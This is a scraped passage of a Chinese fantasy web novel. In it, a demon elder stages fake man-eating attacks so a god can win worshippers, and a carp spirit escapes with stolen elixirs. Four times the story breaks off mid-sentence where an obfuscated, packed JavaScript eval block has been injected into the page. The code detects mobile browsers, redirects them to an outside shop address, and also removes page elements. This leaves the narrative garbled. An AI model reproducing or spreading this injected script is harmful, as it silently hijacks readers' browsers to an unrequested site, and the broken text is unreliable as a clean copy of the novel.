这个灵丹不但能延年益寿,也有利于小妖提升修为,吃得上的自然要比吃不上的修行得更快更好。 藤老祖精心策划的这个方案,时间是两天后的上巳节,地点是海禺山南边的尚湖。 上巳节是一个水边饮宴,郊游踏青的节日,尚湖一带会非常热闹。 届时藤老祖将以一个面目狰狞的妖怪形象露面,杀气腾腾地在湖边吃人——几个小妖负责扮演那些被他吃掉的受害者。 就在妖怪当众吃人作恶时,冲元真君及时从天而降,手持宝剑斩妖除魔,护佑苍生,英明神武的武神形象必将令世人敬仰万分。 “怎么样?老祖我这个方案做得好吧?” 藤老祖忍不住洋洋自得,四个小妖也一起齐声捧场:“极好极好。” “你们四个,到时候正好演男女老少四种类型。” 顿了一下后,藤老祖看着坐在最后的一个小妖,给了他一个挑大梁的机会。 “鱼仔,你本色出演小孩子。我头一个就吃你,你一定要哭得很惨,叫得很可怜,总之就是要大力渲染出那种恐怖色彩知道吗?” 藤老祖的四个心腹小妖中,鱼仔归入其麾下最晚,修为也最低。 这个刚修成人形不久的鲤鱼精,外表是一个七八岁左右的垂髫童子,大家便随口叫他“鱼仔”。 鱼仔虽然年纪小,资历浅,藤老祖却很是赏识这个小妖。 因为鱼仔是那种天生的演技派,超级会演戏,明明是假戏却能演得比真的还要真。 配合仙官表演被降服时,单是一个简单的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306122|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖孽受死吧”,他都能根据不同仙官的动手方式死出不同的花样。 藤老祖要搞好自己的副业,就很需要鱼仔这种专业对口的人才。自然是对他赏识有加,重点栽培,前前后后已经赏了他三颗灵丹。 鱼仔举起一只白嫩嫩肉嘟嘟的小胳膊,笑嘻嘻地挥了一下,用清脆稚嫩的童音做出保证。 “老祖,我的演技您可以放一百个心,绝对不会拖后腿的。” . 两天后,一出事先设计好的大戏,正式拉开帷幕上演了。 虞城的百姓三五成群地来到尚湖湖畔,按照习俗用柳枝沾水点头身祈福消灾。 谁知事与愿违,一个身高三丈青面獠牙的妖怪突然蹦出来要吃人。 “好一个嫩生生的小娃娃,妖爷我最爱吃了。” 妖怪随手抓起一个垂髫童子,一副垂涎三尺的样子。小娃娃在他巨大的手掌中挣扎不已,吓得哇哇大哭。 “爹、娘,我怕,我怕怕……” 鱼仔说哭就哭,小嘴一张嚎得湖边的人全部听见了,眼泪也哗哗直流,都不带酝酿情绪的。 藤老祖忍不住暗中赞了一声:这小妖真是可造之材,哭戏可以拿一百二十分。 相比之下,出演“爹娘”的两个小妖,演技就未免浮于表面了。 虽然神色也惊慌也害怕,但根本就哭不出眼泪,不过是在干嚎罢了。 “我的儿啊!求求你把孩子还给我们吧!” 面对这双“父母”的苦苦哀求,妖怪的答复直截了当,一口把孩子塞进嘴里活吞了。 可怜的小娃娃临死前还在撕心裂肺地哭喊:“爹,娘……” 恐怖的一幕与悲惨的叫声,让尚湖湖畔立刻乱成一团,人们哭爹喊娘地四处逃窜。 而妖怪还在混乱的人群中抓人吃,一口一个都不带嚼巴的,很快又吃了三个人。 四名“受害人”一起在藤老祖的肚子里团聚了——他化身为一个身高三丈的巨妖,肚子就成了小妖被吞后的临时安置点。 按照事先设定的剧本,藤老祖吃第五个货真价实的凡人时,冲元真君就该亮相了。 他有意放慢速度,慢吞吞地挑选受害人。 “啊,快逃啊,妖怪又要抓人吃了。” 就在虞城百姓惊恐万分的时候,突然有一位武神从天而降。身披金甲,手持银枪,雷霆一吼震耳欲聋。 “妖怪,看枪。” 藤老祖顿时傻眼了:不是说好配合冲元真君演一出戏吗?怎么来者却是江南那边的武神钟离斐呢? 最近有只蜈蚣精在江南一带出没,暗戳戳地搞事情祸害百姓,被钟离斐发现后前来降妖。蜈蚣精见势不妙,仗着自己腿脚多,马不停蹄地麻溜跑路了。 钟离斐不肯善罢甘休,一路追捕着进入淮南一带。结果蜈蚣精还没找着,却在途经虞城时意外撞上妖怪当众吃人的一幕。 钟离斐勃然大怒:什么妖怪竟敢如此嚣张?当我们神仙都是死的吗?看本将军怎么收拾你。 45.檀绍 要知道一般的妖魔鬼怪都不敢公开作恶,只会私下吸人精气、食人血肉什么的。 因为那样很容易引起百姓的集体恐慌,会导致他们成群结队地去庙里求神拜佛,请仙官下凡降妖除魔。 一旦真把仙官招来了,那可就要吃不了兜着走。 钟离斐还是头回遇上这样嚣张的妖怪,嚣张得就像没带脑子出门一样。 他怒不可遏地举起手中那杆降魔枪,直直刺向藤老祖的胸口。 藤老祖惊险万分地避开了这一枪,浑身惊出一身冷汗。 原本只是配合一下仙官演戏,谁知现在却来真的了,那他岂不是要惨? 钟离斐手持长枪追着藤老祖打杀时,又一位白袍白甲的武神从天而降。 这是一位年轻英俊的郎君,目秀而长,唇薄而红。两道浓眉如浓墨,在光洁饱满的额头上横过两撇,眉梢微微上翘,看上去意气风发。 这才是今日这出神灵显圣大戏的主角——冲元真君檀绍。 “冲元真君,你……” 藤老祖如获救星,一句“你终于来了”还没说完,却见檀绍神色冷峻地抽出腰间宝剑,配合钟离斐一起动手了。 “妖怪,哪里逃。” 两位武神一起联手降妖,藤老祖可就插翅难逃了。 虽然他是修为不低的大妖,但同时迎战钟离斐和檀绍,双拳难敌四掌,更别提他们一枪一剑的夹攻是何等致命。 藤老祖以一敌二,奋力跟二位仙官过起了招。无论钟离斐还是檀绍,都是毫不留情的杀招频出,一副要将他当场正法的架势。 藤老祖又惊又惧又悲又愤:这是不肯给我留活路啊! 钟离斐也就罢了,他毕竟不知道这是一出安排好的戏码。 但檀绍却是心知肚明的,他这样下死手,分明是想要杀妖灭口。 如果没有钟离斐这个半路杀出来的程咬金,檀绍或许会按照剧本走剧情,把戏演完了事。 但是钟离斐既然出现了,当着他的面,檀绍就不可能再装模作样地假打。 那种操作只能蒙凡人,绝对蒙不了一位仙官。一旦被他看破这只是一出戏,那可就要难堪了! 所以,檀绍不但要真打,还要往死里打,打得藤老祖连想要开口说出真相的机会都没有。 同时对付两位武神,藤老祖必须打起十二分精神,保证一口真气不散才能接得住招,根本不可能一边应战一边大声喊冤。 纵使是他拼上全部力气,最终也难逃被他们合力打杀的结局。 . 藤老祖一死便现出了藤蔓原形,原本藏在体内的四个小妖都掉了出来。 本着除恶务尽的原则,钟离斐长枪一挥,继续诛杀小妖。檀绍自然也不想留活口,毕竟灭口就得灭个干净。 其中三个小妖已经吓破了胆,趴在地上浑身筛糠,只有送人头的份儿。 唯有鱼仔镇定如初,趁着自己正好落在湖畔,嗖的一下就钻入湖水逃之夭夭。 钟离斐和檀绍二人,谁也没料到这个小妖能逃得这么快。毕竟一般的小妖见到仙官都会吓得六神无主,两腿发软。 “什么妖怪,居然跑得这么利落?” “我也不知道。” 钟离斐的问题,檀绍也没有答案。 另外三个小妖已经和藤老祖一样被打杀了,他们就算想找一个妖来审也不行。 尚湖的面积很大,小妖躲进去想要找出来就难了。两位武神就算再神通广大,也不可能把万顷湖水抽干来捉妖。 钟离斐下意识地皱起眉头,直觉告诉他,这个能在他们手里逃掉的小妖很不简单。 檀绍倒是毫不在意,虽然灭口没灭干净,但横竖不过只是一个小妖。 藤老祖已经死了,那就死无对证,哪怕小妖以后敢乱说,说出来的话也是没份量的。 . 逃掉的小妖丝毫不影响大局,尚湖畔的虞城百姓,甚至都没有留意到有漏网之鱼。 他们只看到了两位武神威风凛凛地联手诛妖,庇佑苍生。 “神仙显灵了!” “神仙下凡庇佑苍生来了。” “多谢两位武神救了我们的命。” 尚湖畔齐刷刷跪倒一大片老百姓,争先恐后感激涕零地冲着两位武神磕头叩谢。 一些惊魂初定的怀春少女,还留意到了拯救苍生的两位武神中,有一位是年少英武的俊俏郎君。 “那位白衣武神是谁呀?” “他应该是新飞升的冲元真君檀绍。” “没错,就是他。我去过冲元庙,见过冲元真君的神像,没想到他本人比神像更加英明神武。” “原来是檀仙郎啊!” 这日在尚湖的一出降妖大戏,虽然跟最初设计的版本大相径庭,但最终效果还是一样的。 檀绍的开门红果然红了,成了云间仙境又一位荣获“仙郎”美名的仙官。 “仙郎”这个荣誉头衔,可不是什么神仙都能拥有的。年纪一定要轻,形象一定要好,必须得是年轻英俊的美男子才行。 云间仙境的仙官中,年纪轻轻就能位列仙班者是极少数,还能被誉为“仙郎”的更是寥寥无几。 . 云间仙境,弘文殿。 钟离斐一回天界就直接跑来找郦子微,他平时不太看得上这位油头粉面的仙僚,轻易不进弘文殿,今日来是有事相求。 弘文殿一如既往的干净整洁,无论是书案上的笔墨,还是书柜里的书籍,全部摆放得井井有条,没有哪怕一丁点儿凌乱的地方。 钟离斐的威毅殿与之截然相反,东西都是随手乱放,到处乱七八糟的。 偏偏乱归乱,他却记得很清楚什么东西在什么位置。 不允许殿内的小仙官帮他整理,因为一整理他就找不着了,所以威毅殿只能日复一日年复一年的乱着。 郦子微独自端坐偏殿一侧,静举白玉指,轻抚朱弦琴。 他的听众是一只白羽红冠的大公鸡,还听得很入神很专注。琴奏弹到绝妙时,它甚至会喔喔轻啼几声,似乎在赞叹不绝。 钟离斐大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321085|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步流星地走入偏殿,问道:“郦夫子,你的大公鸡能不能借用一下?” 这只白羽红冠的大公鸡,是郦子微养的仙禽——美其名曰勃公子。 勃公子乃阳精之体,纯阳克纯阴,一般的小妖遇上它,都会倒地不起现出原形。 它高亢的打鸣声还是一种声波攻击,就算是有点能耐的大妖也很难扛得住。 “你借勃公子干吗?” “是这么回事……” 钟离斐把自己之前在虞城的经历简单说一下,郦子微只听了一个开头,就不觉眉心一跳。 再听说冲元真君檀绍也很快当众显灵降妖除魔,他心里就跟明镜似的。 天底下怎么会有那么巧的事?两位武神同时遇上妖怪吃人,而且那个妖怪也嚣张得太不合理了,此事分明大有蹊跷。 郦子微知道个中蹊跷是什么,普和真君暗中整的那些花活,他多少有所耳闻。 “钟离将军,你知不知道自己越界了?咱们是江南一带的守护神,你凭什么跑去插手淮南一带的事?你觉得普和真君会高兴你把手伸得那么长吗?” 钟离斐不以为然。 “我又不是故意的,正好路过遇上了,难道还看着妖怪吃人不管吗?就算我不是淮南的守护神,遇上这种情况也没有袖手旁观的道理吧?我就不信普和真君还会因此怪我。” “你知道什么呀!你以为你是帮仙僚一把做好事呢,殊不知你是在跟冲元真君抢风头。” “你这话什么意思啊?我出手降妖是为了救人,怎么就成了跟冲元真君抢风头了?” “如果我没有猜错的话,所谓的妖怪当众吃人,不过是普和真君为冲元真君量身打造的一出好戏。妖怪和被吃的受害人都不过是配合演戏的演员。谁知半路杀出你这个程咬金,抢走他一半的风头,这会儿普和真君指不定多恼火呢!” 钟离斐难以置信,“郦子微,你凭什么这么说?” “据说这是普和真君的惯用伎俩,我早就听见风声了,只是今日被你撞上,才能确定无疑。你自己想一想,今日这一出是不是很不合理?妖怪敢嚣张到当众蹦出来吃人,这不是上赶着找神仙下凡来收它吗?除非是活腻歪了,否则哪个妖会这么胆大妄为?只能是根据台本在演戏了。” 郦子微这么一说,钟离斐这才恍然大悟。 难怪他觉得那妖怪太过嚣张,嚣张得很不合理,敢情是这么一回事。 钟离斐十分忿然地一拍桌子道:“岂有此理,普和真君怎能这般弄虚作假?” “他的地盘他作主,他要找妖怪配合演戏,烘托一下自己和麾下诸仙官的光辉形象,谁又能管得着他?” “那帝君知道吗?” “无凭无据的事,谁会去跟帝君说?况且普和真君擅长炼制仙丹,有的延年益寿;有的提升修为;就算对神仙来说也是好东西。多少仙官想跟他搞好关系都来不及呢,谁又会去打他的小报告。相信你也不会这么没脑子吧?” 的确如此,钟离斐虽然没那么多弯弯绕绕的肠子,但不代表没脑子。 46.最恨 听了郦子微一番话,钟离斐知道自己管不了普和真君的弄虚作假,便继续讲述打杀妖怪后的事。 重点是那个逃掉的小妖,这就是他跑来找郦子微借大公鸡的目的。 “我想带勃公子回尚湖,乘船至湖心后让它开始打鸣,再配合一道扩音法符,将声波攻击扩散到整个尚湖,或许就能逼出那个漏网之鱼的小妖了。” 郦子微满脸理解无能的表情。 “一个小妖逃了,你有必要这么上心吗?还非得带上勃公子去捉拿,又不是什么为祸一方的大妖。” “你有所不知,虽然只是一个小妖,但逃得实在太利落了。我怀疑他的来历不简单——你懂我的意思吧?” 郦子微自然是一听就懂了,“你怀疑他是……那个人?” “没错,当年他被贬下凡时走了畜生道,不管是变成飞禽走兽还是鳞介虫豸,三百年后都应该已经修炼成精了。” “就算是他,跟你又有什么关系?” 钟离斐面如寒铁,“我生平最恨这种悖逆叛乱的家伙,如果他落在我手里绝不轻饶。” 未飞升之前,钟离斐曾是大雍朝临江郡的郡守之子。 当年郡尉谋反叛乱,突然发难杀了钟离郡守满门老少,唯有志学之年的钟离斐因为进京求学侥幸逃过此劫,成为钟离氏唯一幸存的骨血。 阖家蒙难后,钟离斐悲痛万分。为了亲手替亲人复仇他弃文从武,从一位少年书生成长为骁勇善战的武将。 那个杀死钟离郡守全家的郡尉,在王师讨伐落败后逃离临江郡,东躲西藏了长达十余年。 钟离斐一直锲而不舍地四处追捕他,最终成功将仇人抓获,亲自押到安葬钟离氏一族的陵园中,以其头颅与鲜血祭奠阖家老小的亡灵。 那场祭奠结束后,陵园上空一阵电闪雷鸣,大仇得报的钟离斐就此飞升成仙。 . 念及钟离斐当初何以霞举飞升,郦子微心头一片雪亮:难怪当年事发时,他认定应该将明光处死。 三百年前,灵曜天君明光疑似勾结鬼域之王江天旷,谋害帝君颠覆帝权。因为证据不足,紫衡帝君英昊最终只是贬其下凡了事。 那时候,钟离斐还是一个刚飞升不到一年的仙官。初来乍到,名声不显,根脚不稳,根本轮不到他去紫衡殿发表个人意见。 不过云间仙境的仙官们私下议论此事时,钟离斐都是激愤不已地主张要处死明光以儆效尤。 “如果那个小妖真是明光,你觉得他还会呆在尚湖等你来抓吗?” 钟离斐还是不肯死心,“试一试嘛,不试一试怎么知道呢?” “不用试,根本没这个必要。明光认识你,也了解我,知道你如果看出了端倪要抓他,必然会来找我借勃公子一用,绝对不会蠢得继续躲在尚湖,这会儿没准已经逃去了千里之外。” 郦子微一番话合情合理,钟离斐也知道希望极其渺茫,只得恨恨然地跺了一下脚作罢。 “钟离将军,这事你别管了。除非他逃入江南一带,否则你千万别再跑去淮南一带寻找他的下落。再强调一遍,普和真君绝不会欢迎你插手他地盘上的事。这位老神仙虽然体够胖心却也一点也不宽,得罪了他对你没有任何好处。况且你要老这么搞就真成抢风头了,到时候黄泥掉进□□里,不是屎也是屎。” . 云间仙境的各路神仙都是从民间飞升的,也就意味着神仙们都有自己的籍贯出身,飞升后顺理成章成为籍贯所在地的本土神仙。 天庭的大部分神仙都只在本土有名,享受本土百姓的香火供奉。 只有极少数神仙的知名度遍布神州大地,到处都有神庙接受信徒们的顶礼膜拜。 譬如天界至尊的紫衡帝君; 又譬如以一国储君身份飞升的太玄真君及妻子太清元君,先天优势就决定了他俩的信徒全国都是; 还有就是被民间尊为长寿仙翁的老神仙普和真君。 除了这几位,当年的灵曜天君明光,也曾是一位人气超高的神仙。 明光十七岁那年,淮南一带的长江流域突发洪水,他敏锐地判断出这是“走蛟”了。 蛟是一种鱼身而蛇尾的水妖,修炼一千年后便会“走蛟”,沿江入海化为蛟龙。期间往往伴随着巨大的洪水,令无数生灵涂炭。 蛟龙似龙非龙,残忍嗜血,好勇斗狠,每每盘踞江河湖海兴风作浪,祸害往来的行人船只。 为了阻止“走蛟”,明光一人一剑跃入长江,与之展开一番苦斗,最终成功斩下蛟首,泛滥的洪水也随即退去。 经此一役后,明光正式飞升成仙,美名传遍大江南北,长江流域两岸都修建了神庙供奉这位少年仙官。 明光已是昨日黄花,眼下除了紫衡帝君、太玄真君夫妇与普和真君,云间仙境的其他神仙中,没有一个没能达到举国闻名的程度。 顶多是南方一带的神仙在南方知名,北方一带的在北方知名。 像江南与淮南并称江淮地区,两地的本土神仙在两地百姓中也都颇有名气。 生活在两地交界之处的百姓,以及一些经常往返两地做生意的商贩,干脆就是几位神仙的庙都会去上炷香拜一拜,反正多求一位神仙庇佑也没有坏处。 . 今日虞城有妖怪当众作乱,钟离斐这个外地神仙头一个跑出来降妖,已经有点打了本土神仙的脸。 虽然檀绍及时出现扳回一局,但是钟离斐的义举,肯定能让一些感恩戴德的淮南百姓成为他的新信徒。 淮南一带可是普和真君檀豫的主场大本营,对于钟离斐分流自己的信徒香火这种事,他是无论如何不会开心的。 此事可一不可再,如果钟离斐为了抓住那个可疑的小妖,还动辄往淮南一带跑,檀豫会误以为他尝到了甜头还想继续捞好处,到时候肯定要找他麻烦不可。 在云间仙境,普和真君檀豫是一位资历深、地位高、人脉广的老神仙,讨好他未必会有什么好处,但得罪他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361098|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会有坏处。 郦子微语重心长的提醒,钟离斐听了还有点不太服气。 “普和真君怎么想我管不着,反正我自己问心无愧。” “钟离将军,这不是你一句问心无愧就能解决的问题,任何仙官都不会喜欢你这种越界行为。有道是各司其职,各尽其责,如果普和真君时不时跑来江南插手你负责的事务,你难道会热烈欢迎他吗?” 郦子微引导钟离斐换位思考一下,他沉默了片刻。 “我真不是想去抢什么风头,我就是想要抓那个小妖来确认一下。” “无论你的初衷是什么,你的行为都是越界,很容易让人误会你想抢信徒香火。那样只会伤了仙僚之间的和气,对你想做的事没有任何帮助。” 来自信徒的香火供奉,是每位仙官的立身之本,绝对容不得其他人觊觎。 钟离斐如果老是在淮南一带频频出现,不只是普和真君会心生猜忌,其他仙官也会怀疑他居心不良。 “那我去找普和真君,先跟他说明一下情况,再前往淮南一带捉妖,这样总可以了吧?” “当然可以,不过我能断定普和真君不会同意你再去淮南捉妖,而是会说此事自有淮南的本土神仙负责,就不劳你费心了!” 钟离斐一口气卡在喉咙里,憋得难受,而郦子微还在继续往下说。 “如果我是他,我也会这么处理。为什么要让外地仙官来我的地盘上捉妖,那样岂非显得我们这些本土神仙很无能。你说是不是?” 钟离斐无话可说,只能郁闷地握紧拳头,用力朝着身边的柱子砸了一下,藉此发泄满心无可奈何的憋屈。 . 普和殿中,檀绍刚刚跟檀豫讲述完在虞城尚湖畔发生的林林总总。 普和真君檀豫出身士族,年轻时风流成性,浪荡半生。 不惑之年后突然一心向道,独自隐居深山潜心修行,终于在八十八岁那年得道飞升,成了一位鹤发童颜的老神仙。 檀豫飞升成仙后,檀氏一族的不少子弟也纷纷开始修道,想要和他一样位列位班。 七八百年过去了,终于又有一个檀绍成功飞升,时年二十有四。 对于这位年少有为的后辈子侄,檀豫别提多器重了。 为了提升檀绍在民间的名气,他特意让藤老祖把神仙显灵的场面搞大一点,毫不介意是否会抢了自己的风头。 谁知这一出精心安排的大戏,却被钟离斐抢了“挑帘彩”,前来配合演出的藤老祖还赔上了性命,檀豫简直没法不恼火。 “这个钟离斐真讨厌,没事跑来咱们地盘上逞什么威风?真是闲得蛋疼。” 檀绍没有说话,因为今日的假戏真作对他来说没什么不好的。 他原本就不情愿演这么一出戏,堂堂武神还要靠假打妖怪来彰显威名,简直就是一种侮辱。 不过听檀豫的口气,这种安排属于常规操作,而且还很上心地要给他搞一个能令万民景仰的大场面。 47.不对劲 檀豫既是老神仙又是老祖宗,檀绍一个初来乍到的新人,于公于私都不能跟他唱反调,只得违心听从安排。 因为不太想演这出戏,所以檀绍下凡前往尚湖的时候有些磨蹭,晚到了一步,结果被钟离斐抢了先机。 他对此倒是正中下怀,顺理成章地与之联手,一起诛杀了几个妖怪。要降妖就来真的,假打有什么意思? 骂完钟离斐后,檀豫还深表惋惜地一声长叹:“藤妖就这么死了真是可惜啊!” 藤老祖是一个很好用的妖怪,檀豫用得十分得心应手。今日就这么因为钟离斐挂掉了,以后再想找个合适的人都难啊! 人间凡界的妖怪虽然多,但不像藤老祖那样跟檀豫有渊源,除了肯效忠于他,更重要的是嘴巴够紧,不会在外面乱说话。 如果随便找个妖怪来配合演戏,很容易走漏风声,一旦传得路人皆知就要难堪了。 檀绍却是巴不得檀豫再找不着这等派用场的妖怪,趁机道:“普和真君,藤妖已死,既然可靠之妖难寻,以后最好是谨慎行事。” “只能如此了。” 一边点头,檀豫一边突然想起了一件事。 “对了,檀绍,你再去海禺山的流云洞跑一趟,把那边彻底清理一下。” 海禺山流云洞是藤老祖的住所。 他投入檀豫麾下办事当差好多年,活着时虽然受到信任,但死了就得赶紧切割干净为妙,可不能留下什么把柄被别人抓住小辫子。 “好,我这就去。” . 走出普和殿后,檀绍迎面遇上了匆匆赶来的钟离斐。 “冲元真君,正好,我有事找你。” 檀绍面有骄矜之色,声音也带着一丝不耐烦:“哦,不知威毅真君有何要事?” 如今的云间仙境,檀绍是最年轻的仙官,没有之一。 他对此十分骄傲,再加上又有檀豫这位资历深的本家老神仙护着,这份骄傲甚至都不屑于掩饰。 除了帝君、檀豫和太玄真君夫妇等大仙官外,其他仙僚他都无差别低看一眼。 钟离斐在这方面比较迟钝,半点没留意到檀绍的骄矜傲慢,只一门心思说自己想说的事。 “你还记得在尚湖边逃掉的那个小妖吗?我觉得此妖可能不简单,还请冲元真君日后多加留意,看能否将他抓回来。” 钟离斐不打算去找檀豫了,一事不烦二主,干脆直接跟檀绍打交道。毕竟他之前也在尚湖降妖,曾亲眼见过那小妖的模样。 “不过是一个刚化为人形的小妖而已,一时走运才逃掉了,威毅真君是不是想多了?” 眼看檀绍满脸的不以为然,钟离斐不得不压低声音对他附耳低语了一番,听得他神色微变。 . 海禺山,流云洞。 藤老祖已死,流云洞空无一人,安静如太古。唯有石壁上有一线流泉叮咚,在洞角汇成一泓小巧的深潭,水色湛清如碧琉璃。 平静如鉴的潭面突然泼刺一声响,蹦出一条赤尾金鳞的鲤鱼,落地后化为一个垂髫童子,正是在尚湖逃出生天的鱼仔。 水潭斜对面,就是藤老祖睡觉的石床,鱼仔灵活敏捷地跳上床,一把抱起了床头那只小巧的藤编枕头。 这只枕头除了是枕头外,还是一个藏宝箱。藤老祖从普和真君檀豫那儿得来的灵丹,平时都会藏在里头。 灵丹不是随随便便就能服食的,还得讲究章法。 像这类延年益寿的灵丹,每服食一丸,要花上七天时间将体内真元循环运转七个大周天,才能让丹药精华彻底融入服食者的精元。 除了能延年益寿外,这类灵丹对于疗伤救命也颇有效果,可以留着在关键时刻派用场。 所以藤老祖得到的灵丹,不会当成炒豆那样一把全部吃完,而是细水长流地慢慢享用。 鱼仔刚把藤枕抱在怀里,突然听到“铛铛”的两声响,是低而沉的铃声,在安静的山洞里却莫名有些刺耳。 这是示警的铃响,鱼仔闻铃而动,抱着藤枕直接从石床蹦向水潭。 平静的潭面顿时溅开一朵大大的水花,而他小小的身影却在水花中消失了。 . 走进昏暗的流云洞时,檀绍随手弹出一颗浑圆如珠的日精石,用作照明之物。 湛湛流光的日精石自动浮在半空中,随着他的脚步移动位置。 他走到哪里,光芒就照到哪里,在他身前身后一丈左右的范围内,都能看得一清二楚。 流云洞不算大,檀绍很快就走到了山洞深处。目光四处扫视时,他敏锐地发现洞角那个小水潭中,潭面尚有涟漪波动。 回想起刚到山洞前时隐约听到的水花溅响声,檀绍心里一动:刚才是潭中的鱼在乱蹦呢?还是那个逃掉的小妖又借水逃脱了呢? 如果只是一个普通的小妖,逃了也就逃了。 但是钟离斐觉得这小妖的来历不简单,檀绍听了他的猜测后,也很有兴趣查清楚小妖的底细。 一念至此,檀绍决定不管有枣没枣先打上三杆子再说。一把抽出腰间的仙剑,蕴足灵力朝着水潭一剑劈下。 那一剑带着万钧雷霆之力,直接把水潭劈得四分五裂。 潭水四处哗啦啦地漏个不停,许多死鱼肚皮朝天地漂在水里,它们都已经死于剑势的威力之下。 檀绍顿觉扫兴:没劲,还真是鱼在乱蹦啊! 意兴阑珊地归剑入鞘后,檀绍转身走到石床前搜查了一番。他并没有发现什么能跟檀豫扯上关系的东西,却总感觉哪里好像有一点不太对劲。 ——到底是哪里让我觉得不对劲呢? 檀绍站在石床前看了又看,反复琢磨着这个问题,终于后知后觉地反应过来,这张石床上被褥铺盖一应俱全,却偏偏少了枕头。 枕头呢?它又不会飞,只能是被人取走了。是谁取走了枕头?是那个逃掉的小妖吗?他为什么要跑回来取走它? 这些问题檀绍没有答案,他若有所思地回过头,再次打量起了那个已经四分五裂的小水潭。 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368716|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才不是潭鱼在乱蹦,而是小妖取了枕头跳入水潭逃走了,那么潭底显然有出口通往地下暗河。 只要小妖入了暗河,就算是檀绍一剑劈裂了整个水潭,也于事无补了。 檀绍对此并不气馁,反倒双眉一扬:有点意思了。 这小妖如果不是运气超好,就是果真大有来历,否则怎么会如此及时地在他进入流云洞之前逃之夭夭? 小妖的两次借水遁逃,也让檀绍不难得出一个判断:这小妖一定是水族的妖怪,入水后才能跑得如此之快。 如果是飞禽走兽修炼成妖,虽然也可以跳入水中逃跑,但速度会受到影响。毕竟不是水族成员,不可能像如鱼得水那样,在水的环境里灵活自如。 . 海禺山北濒长江,南临尚湖,山中的地下暗河,既通长江也通尚湖。 尚湖已属是非之地不宜久留,鱼仔抱着那只藤枕,目标明确地直接游向长江。 他在水底潜游,衣裳在水波中轻舞飞扬,露出系在右脚腕上的一根红色绳结,绳结上缀着一只银色的虎头铃铛。 鱼仔其实就是阿难,去年在步云山心脉受损后,他现出原形回到水中休养生息,花了大半年时间才能重新化为人形。 因为能力有限,也出于自保的刚性需求,他向应长恨学习,变成了一个人畜无害的小童外形。 阿难休养的地方就在海禺山,最初选择这里的原因很简单,在他元气大伤后,这是距离最近的一座灵山。 应长恨还以为阿难会和他一起顺着暗河来到东海,却不知阿难的本体是淡水鲤鱼,海水环境并不适合他生存。 当时阿难带着伤游不动,小铃就变成一只汤罐大小的法钟,倒过来装着受伤的鲤鱼本体,以最快速度带着主人沿暗河一路逆流而上。 先入长江,再来到长江之滨的海禺山。 抵达海禺山的地下暗河后,阿难循着水流找到一泓平静的潭水,留下来汲取灵气休养生息。 那个小水潭就在流云洞中,阿难在这里养上几个月的伤,不但摸清楚了藤老祖是海禺山的山大王,还知道他有一项配合仙官演戏的副业,报酬是普和真君的灵丹。 灵丹对于正在养伤的阿难可是好东西,而演戏又是他的强项。 可以重新化形后,他就以小妖身份投入藤老祖麾下,凭借自己的强项赚灵丹。 给藤老祖打工虽然不是什么很有前途的工作,但是藤妖在培养专业人才方面出手颇为大方。因为阿难的演技出众对他青睐有加,前前后后赏了他三颗灵丹。 阿难原本还想再给藤老祖干上一年半载,多赚几颗灵丹的。 谁知人算不如天算,尚湖畔那出重头戏竟被钟离斐搅了局,还连累藤老祖没了命。 老板都挂掉了,打工仔只能另找出路,换个地方谋生了。 阿难跳进尚湖逃走后,原本不想再回海禺山的,却突然想起流云洞中还有藤老祖藏着的灵丹。 藤老祖已死,灵丹成了无主之物,他完全可以取来留着自用。 48.惨了 当然,这是一项比较冒险的行动。 藤老祖与普和真君的私下合作不能声张,他现在被打杀了,洞府难保不会被彻底清理一番。 要是阿难跑回去遇上哪位前来充当临时清理工的仙官,肯定又要触霉头不可。 不过有小铃的预警功能在,他还是可以回去碰碰运气。 于是阿难通过地下暗河重新回到流云洞的小水潭,确认洞内环境安全后,再跳出水潭去取藤枕。 藤枕刚到手,小铃就发出示警,他及时带着藤枕跑掉了,心情十分愉快:太好了!这一趟总算没白来。 游到长江后,阿难在长江入海口附近的一处江心岛屿上了岸。 藤枕是藤老祖的藏宝箱,被他用法力封印了,以阿难的能力是打不开的。 